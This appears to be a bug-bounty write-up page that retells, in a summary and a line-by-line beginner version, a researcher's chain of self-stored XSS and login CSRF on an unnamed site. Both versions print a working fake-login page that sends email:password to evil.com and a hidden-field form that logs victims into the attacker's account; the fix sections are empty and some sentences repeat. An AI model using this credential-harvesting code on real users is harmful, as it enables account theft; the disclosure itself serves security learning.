Skip to content
XSS Write-up Intermediate

Self XSS to evil XSS

A first-name field in an account settings page stored an XSS payload, but it only fired for the person who entered it. The author chained it with a login CSRF form so a victim was logged into the attacker's account, where the stored script showed a fake login prompt and sent the victim's credentials to the attacker.

Saad Ahmed Follow

Published on medium.com

{{media:0}}

Saad Ahmed, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

This write-up describes how a self stored XSS in a site the author calls PRIVATE.COM was turned into an attack that could be delivered to other users. The vulnerable feature is the change account details functionality, and specifically the first name field, which was vulnerable to XSS. On its own that is a self XSS: the payload runs only in the account that saved it, so it has no effect on anyone else. The goal of the write-up is to show how the author bridged that gap.

Setup

The only precondition described is a normal account on the target. The author signed up, logged in, and then spent time interacting with the change account details functionality. No tools, versions or special configuration are mentioned.

Finding it

While testing the account details form, the author found that the first name field was vulnerable to XSS. The payload was stored, but it was self stored XSS: it executed only for the account that submitted it, so it could not be used directly against other users.

The first idea was to deliver the payload through CSRF, so that a victim's browser would save it into the victim's own profile. That attempt failed because the account update functionality includes a CSRF token. The author then recalled a technique referred to in the write-up as the GEEK BOY POC, which is the approach used for the rest of the attack.

Exploitation

Step 1: Build a credential harvesting page

The author wrote an HTML page with JavaScript that imitates a login prompt. It has two input fields, one for email and one for password, and a button. The script reads both values, joins them with a colon, shows them in an alert, and then redirects the browser to an attacker-controlled host with the pair appended to the path.

HTML
<!DOCTYPE html><html><head>    <title>XSS</title></head><body>    <center><div class="panel-body">        <h3>Something Went Wrong Please Login Again</h3>            <div class="login-group">                <label for="email" class="control-label">Email</label>                <input  id="Vemail" class="input span12" name="email" required="" type="email" value="" autofocus="">            </div>            <div class="login-group">                <label for="password" class="control-label">Password</label>                <input id="Vpass" class="input span12" name="password" required="" type="password" value="">                <div class="alert alert-error error hide" id="error_missingPassword">Please enter your password</div>            </div>            <button class="action-button btn btn-primary login-button" buttontype="login" type="submit" onclick="myFunction()">Login</button>    </div>    <script>        function myFunction() {          var x = document.getElementById("Vemail").value;          var y = document.getElementById("Vpass").value;          var pwd = x + ":" + y;          alert(pwd);          window.location = "https://evil.com/" + pwd;        }    </script></body></html>

The page is a plain HTML form with two inputs and one button asking for Email and Password. The JavaScript reads the values of the Vemail and Vpass fields, concatenates them as email:password, displays the result with alert, and then sets window.location to https://evil.com/ followed by that string, which sends the credentials to the attacker server. The author then uploaded this code to a web host.

Image for post
Image for post From the original on medium.com

Step 2: Load the page through an iframe

The harvesting page is loaded from the web host inside an iframe. The write-up does not show the iframe markup itself.

Step 3: Log the victim into the attacker's account

With the harvesting page ready, the remaining task is to get the victim to see it. The author does this by making the victim log in to the attacker's own account without realising it, using an auto-submitting form:

HTML
<html>  <body>    <form action="https://attacker.com/login/submit" method="POST">      <input type="hidden" name="email" value="[redacted]" />      <input type="hidden" name="password" value="password" />      <input type="submit" value="Submit request" />    </form>  </body></html>

The form posts a hidden email and password to the address in its action attribute. The write-up does not describe how this form is delivered to the victim or how the submission is triggered automatically; it only states that the form makes the victim log in to the attacker's account without knowing it.

Once the victim is inside the attacker's account, the victim sees the message Something Went Wrong with input fields. The victim sees the message Something Went Wrong together with the input fields from the harvesting page, and is prompted to log in again. When the victim enters an email and password, the JavaScript collects them and sends them to the attacker server.

Root cause

The first name field in the account details functionality was vulnerable to XSS, and the payload was self stored. The account update form is protected by a CSRF token, which blocks the obvious route of forcing a victim's browser to save the payload into the victim's own profile. The attacker instead gets the victim to log in to the attacker's account, where the stored payload runs.

Impact

An attacker who can convince a victim to log in to the attacker's account, and then to enter credentials into the injected form, obtains those credentials on the attacker server. The attack depends on the victim being logged into the attacker's account at the time the profile is viewed, and on the victim trusting the injected login prompt.

Fix

Variants to test

  1. Other profile fields. Try every field in the account details form, not just the first name, with a benign marker payload. A positive result is the marker executing when the profile is rendered.
  2. CSRF token handling. Check whether the CSRF token on the account update form can be bypassed, for example by removing it or reusing one from another session. A positive result is the payload being saved into a victim's profile without their interaction.
  3. Login CSRF. Test whether the login endpoint accepts a cross-site form post that logs a victim into an attacker-controlled account. A positive result is the victim's session ending up in the attacker's account after visiting a crafted page.
  4. Framing. Check whether the site can be framed, since the harvesting page is loaded in an iframe. A positive result is the page rendering inside an attacker-controlled frame without X-Frame-Options or frame-ancestors restrictions.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a bug on a website he calls PRIVATE.COM. The bug was in the part of the site where you edit your account details, specifically the first name field. That field was vulnerable to XSS, and the payload was self stored.

On its own, that is not very useful. The code only ran for the person who saved it, in their own account. This is called self XSS: a cross-site scripting bug that only affects the person who put the code there. To make it dangerous, the researcher had to find a way to make other people open the page that contained his code.

This write-up explains how he did that. The idea is simple in hindsight: he made a fake login page, put his stored code in his own profile, and then tricked a victim into logging in to his account. Once the victim was inside his account, the victim saw the message Something Went Wrong with input fields. The victim typed their real email and password into it, and those values were sent to the researcher's server.

Below, every step is explained from scratch, including the basic ideas behind it.

Background ideas you need first

Before the steps make sense, here are a few concepts that come up again and again.

  • HTML is the language that describes what a web page contains: headings, text, input boxes, buttons. A browser reads HTML and draws the page.
  • JavaScript is a programming language that runs inside the browser. It can read what you type into a box, change the page, or send your browser to another address. HTML can contain JavaScript, and the browser will run it.
  • XSS (cross-site scripting) is a bug where a website lets someone else's JavaScript run inside its pages. If a site takes what a user typed and puts it back into a page without cleaning it, an attacker can type JavaScript instead of normal text, and the site will run it as if it were part of the site. The danger is that the code runs with the site's trust: it can read what the logged-in user sees and do things as that user.
  • Stored XSS is a type of XSS where the malicious input is saved on the server (for example, in a profile field) and runs later, whenever the page is viewed. Self stored XSS is the same, except the saved input only ever runs for the account that saved it. It is a bug, but on its own it does not reach other people.
  • CSRF (cross-site request forgery) is a different bug. It is when another website can make your browser send a request to a site you are logged in to, without you meaning to. For example, a page on evil.com could contain a form that submits to bank.com and changes your settings, and your browser would attach your bank login automatically. Sites defend against this with a CSRF token: a secret, random value that the site puts into each form. The server checks that the token matches before accepting the change. An attacker on another site cannot guess the token, so the forged request is rejected.
  • A cookie or session token is how a site remembers that you are logged in. When you log in, the server gives your browser a small piece of data. Your browser sends it back with every request, and the server uses it to know who you are. If someone else gets that value, they can act as you.
  • An iframe is a way to put one web page inside another. The outer page shows a rectangular window, and inside that window the browser loads a different address. It is like a picture frame on a wall: the frame is part of the room, but the picture inside is a separate thing.
  • A web host is a computer on the internet that serves files. If you upload an HTML file to a web host, anyone with the address can open it in a browser.
  • An API is the set of addresses a website offers so that programs (and pages) can talk to it. When a form is submitted, the browser sends a request to one of these addresses, and the server replies. You do not need to know the details to follow this write-up; just think of it as the site's internal post office.

Step 1: Finding the bug

The researcher signed up for a normal account on the target site, logged in, and started using the change account details feature. This is the page where you edit your profile: your name, your email, and so on. He spent some time trying different values in the fields.

He found that the first name field was vulnerable to XSS. The first name field was vulnerable to XSS, but it was self stored XSS.

The problem was that this was self stored XSS. The code ran only in his own account, for him. To hurt anyone else, he needed the code to run in their browser. So the real question of the write-up is: how do you get someone else to open a page that contains your stored code?

Step 2: The first idea, and why it failed

His first idea was CSRF. If he could make a victim's browser submit a form to the account update page, the victim's own profile would get the malicious first name saved into it. Then, whenever the victim viewed their own profile, the code would run in their account. That would turn self XSS into a real attack on that victim.

This failed. The account update functionality includes a CSRF token. The form contains a secret value that the server checks, and an attacker on another site cannot know or guess it. Without a valid token, the server refuses the update, so the victim's profile never gets the payload.

At this point the researcher remembered a technique he calls the GEEK BOY POC. That is the approach used for the rest of the attack: instead of pushing the payload into the victim's account, pull the victim into the attacker's account.

Step 3: Build a fake login page

The researcher wrote an HTML page that looks like a login prompt. It has two input fields, one for email and one for password, and a button. The JavaScript behind it reads both values, joins them with a colon, shows them in an alert, and then sends the browser to an attacker-controlled address with the pair appended to the path.

HTML
<!DOCTYPE html><html><head>    <title>XSS</title></head><body>    <center><div class="panel-body">        <h3>Something Went Wrong Please Login Again</h3>            <div class="login-group">                <label for="email" class="control-label">Email</label>                <input  id="Vemail" class="input span12" name="email" required="" type="email" value="" autofocus="">            </div>            <div class="login-group">                <label for="password" class="control-label">Password</label>                <input id="Vpass" class="input span12" name="password" required="" type="password" value="">                <div class="alert alert-error error hide" id="error_missingPassword">Please enter your password</div>            </div>            <button class="action-button btn btn-primary login-button" buttontype="login" type="submit" onclick="myFunction()">Login</button>    </div>    <script>        function myFunction() {          var x = document.getElementById("Vemail").value;          var y = document.getElementById("Vpass").value;          var pwd = x + ":" + y;          alert(pwd);          window.location = "https://evil.com/" + pwd;        }    </script></body></html>

Line by line, in plain words:

  1. <!DOCTYPE html><html><head> <title>XSS</title></head><body> starts a normal web page. The title shown in the browser tab is XSS.
  2. <center><div class="panel-body"> opens a centred block. The class names are styling labels; they do not do anything by themselves, they just tell the page how to look.
  3. <h3>Something Went Wrong Please Login Again</h3> is the heading the victim will see. It is designed to sound like a normal error message from the site, so the victim believes the login prompt is genuine.
  4. The first label and input pair creates the email box. The id="Vemail" gives the box a name that JavaScript can use to find it later. type="email" tells the browser it expects an email address.
  5. The second label and input pair creates the password box, with id="Vpass" and type="password", so the characters are hidden as dots while typing.
  6. <div class="alert alert-error error hide" id="error_missingPassword">Please enter your password</div> is a hidden error message. It is part of the disguise: a real login form often has one.
  7. The button is the Login button. The important part is onclick="myFunction()": when the button is clicked, the browser runs the JavaScript function called myFunction.
  8. <script> starts the JavaScript block.
  9. function myFunction() { defines that function. Everything between its braces runs when it is called.
  10. var x = document.getElementById("Vemail").value; finds the email box by its id and reads what the user typed into it. The value is stored in a variable called x.
  11. var y = document.getElementById("Vpass").value; does the same for the password box, storing the result in y.
  12. var pwd = x + ":" + y; joins the two values with a colon between them, so [redacted] and hunter2 become [redacted]:hunter2.
  13. alert(pwd); shows that combined string in a pop-up. This is a debugging step: it lets the researcher see that the values were captured correctly.
  14. window.location = "https://evil.com/" + pwd; sends the browser to https://evil.com/ followed by the captured string. Because the string is part of the address, it arrives at the attacker's server, which can read it from its logs. That is how the credentials leave the victim's browser.
  15. The closing tags end the script, body and page.

The researcher then uploaded this page to a web host, so it had a public address that could be loaded from anywhere.

Image for post
Image for post From the original on medium.com

The screenshot shows the fake login page as it appears: the error heading, the email and password boxes, and the Login button.

Step 4: Load the fake page inside an iframe

The fake page is loaded from the web host inside an iframe. An iframe lets one page display another page inside a rectangular area. Here it is the mechanism that loads the fake login page from the web host. The write-up does not show the iframe markup itself.

The two screenshots show the fake page being displayed through the iframe, and how the result looks to the victim.

Step 5: Log the victim into the attacker's account

With the fake page ready, the remaining problem is getting the victim to see it. The researcher does this by making the victim log in to his own account without realising it. He uses a form that submits itself:

HTML
<html>  <body>    <form action="https://attacker.com/login/submit" method="POST">      <input type="hidden" name="email" value="[redacted]" />      <input type="hidden" name="password" value="password" />      <input type="submit" value="Submit request" />    </form>  </body></html>

Line by line:

  1. <html><body> starts a page with nothing visible except the form.
  2. <form action="https://attacker.com/login/submit" method="POST"> opens a form. When submitted, it sends its fields to the address in action, using the POST method, which is the usual way forms send data to a server.
  3. <input type="hidden" name="email" value="[redacted]" /> is a field the victim never sees. It carries the attacker's email address. type="hidden" means the browser does not draw it on the page.
  4. <input type="hidden" name="password" value="password" /> does the same for the attacker's password.
  5. <input type="submit" value="Submit request" /> is the button that sends the form.
  6. The closing tags end the form and the page.

The report states that this form makes the victim log in to the attacker's account without knowing it. The victim, sitting at their own computer, is now inside the attacker's account without knowing it. The write-up does not describe how this form is delivered to the victim or how the submission is triggered automatically; it only states that the form makes the victim log in to the attacker's account without knowing it.

Step 6: The trap closes

Once the victim is inside the attacker's account, the victim sees the message Something Went Wrong with input fields. The victim sees the message Something Went Wrong together with the input fields from the fake login page, and is prompted to log in again. Because they are already inside a site they trust, and the message looks like a normal error, they type their real email and password.

When they click the button, the JavaScript collects the two values and sends them to the attacker server, as described in Step 3.

The screenshot shows the victim's view at this point: the error message and the fake login fields.

Why it worked

Two weaknesses combine here.

  1. The first name field was vulnerable to XSS. The payload was self stored, so it only ran for the account that saved it.
  2. The attacker does not need to write into the victim's profile. He only needs the victim to log in to his account, where the payload runs. That is the gap the chain exploits: an attacker who can get a victim to browse the attacker's account inherits script execution in the victim's session.

What an attacker gets

An attacker who can convince a victim to log in to the attacker's account, and then to enter credentials into the injected form, obtains those credentials on the attacker server. The attack depends on the victim being logged into the attacker's account at the time the profile is viewed, and on the victim trusting the injected login prompt.

How to fix it

Things worth testing on other sites

  1. Other profile fields. Try every field in the account details form, not just the first name, with a harmless marker payload. A positive result is the marker running when the profile is rendered.
  2. CSRF token handling. Check whether the CSRF token on the account update form can be bypassed, for example by removing it or reusing one from another session. A positive result is the payload being saved into a victim's profile without their interaction.
  3. Login CSRF. Test whether the login endpoint accepts a form posted from another site that logs a victim into an attacker-controlled account. A positive result is the victim's session ending up in the attacker's account after visiting a crafted page.
  4. Framing. Check whether the site can be framed, since the fake page is loaded in an iframe. A positive result is the page rendering inside an attacker-controlled frame without X-Frame-Options or frame-ancestors restrictions.

Glossary

  • API: the set of addresses a website offers so that programs and pages can talk to it.
  • Cookie: a small piece of data a site stores in your browser and reads back on each request, often used to remember that you are logged in.
  • CSRF (cross-site request forgery): a bug where another website can make your browser send a request to a site you are logged in to, without you meaning to.
  • CSRF token: a secret, random value placed in a form and checked by the server, so that requests forged from another site are rejected.
  • HTML: the language that describes what a web page contains.
  • Iframe: a way to display one web page inside a rectangular area of another page.
  • JavaScript: a programming language that runs inside the browser and can read input, change the page and navigate the browser.
  • POST: the method forms usually use to send their data to a server.
  • Self XSS: a cross-site scripting bug whose code only runs for the account that saved it.
  • Session token: a value that identifies a logged-in session; if someone else gets it, they can act as that user.
  • Stored XSS: a cross-site scripting bug where the malicious input is saved on the server and runs later, whenever the page is viewed.
  • Web host: a computer on the internet that serves files, so that anyone with the address can open them.
  • XSS (cross-site scripting): a bug where a website lets someone else's JavaScript run inside its pages, with the site's trust.

More by Saad Ahmed

View all

9 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.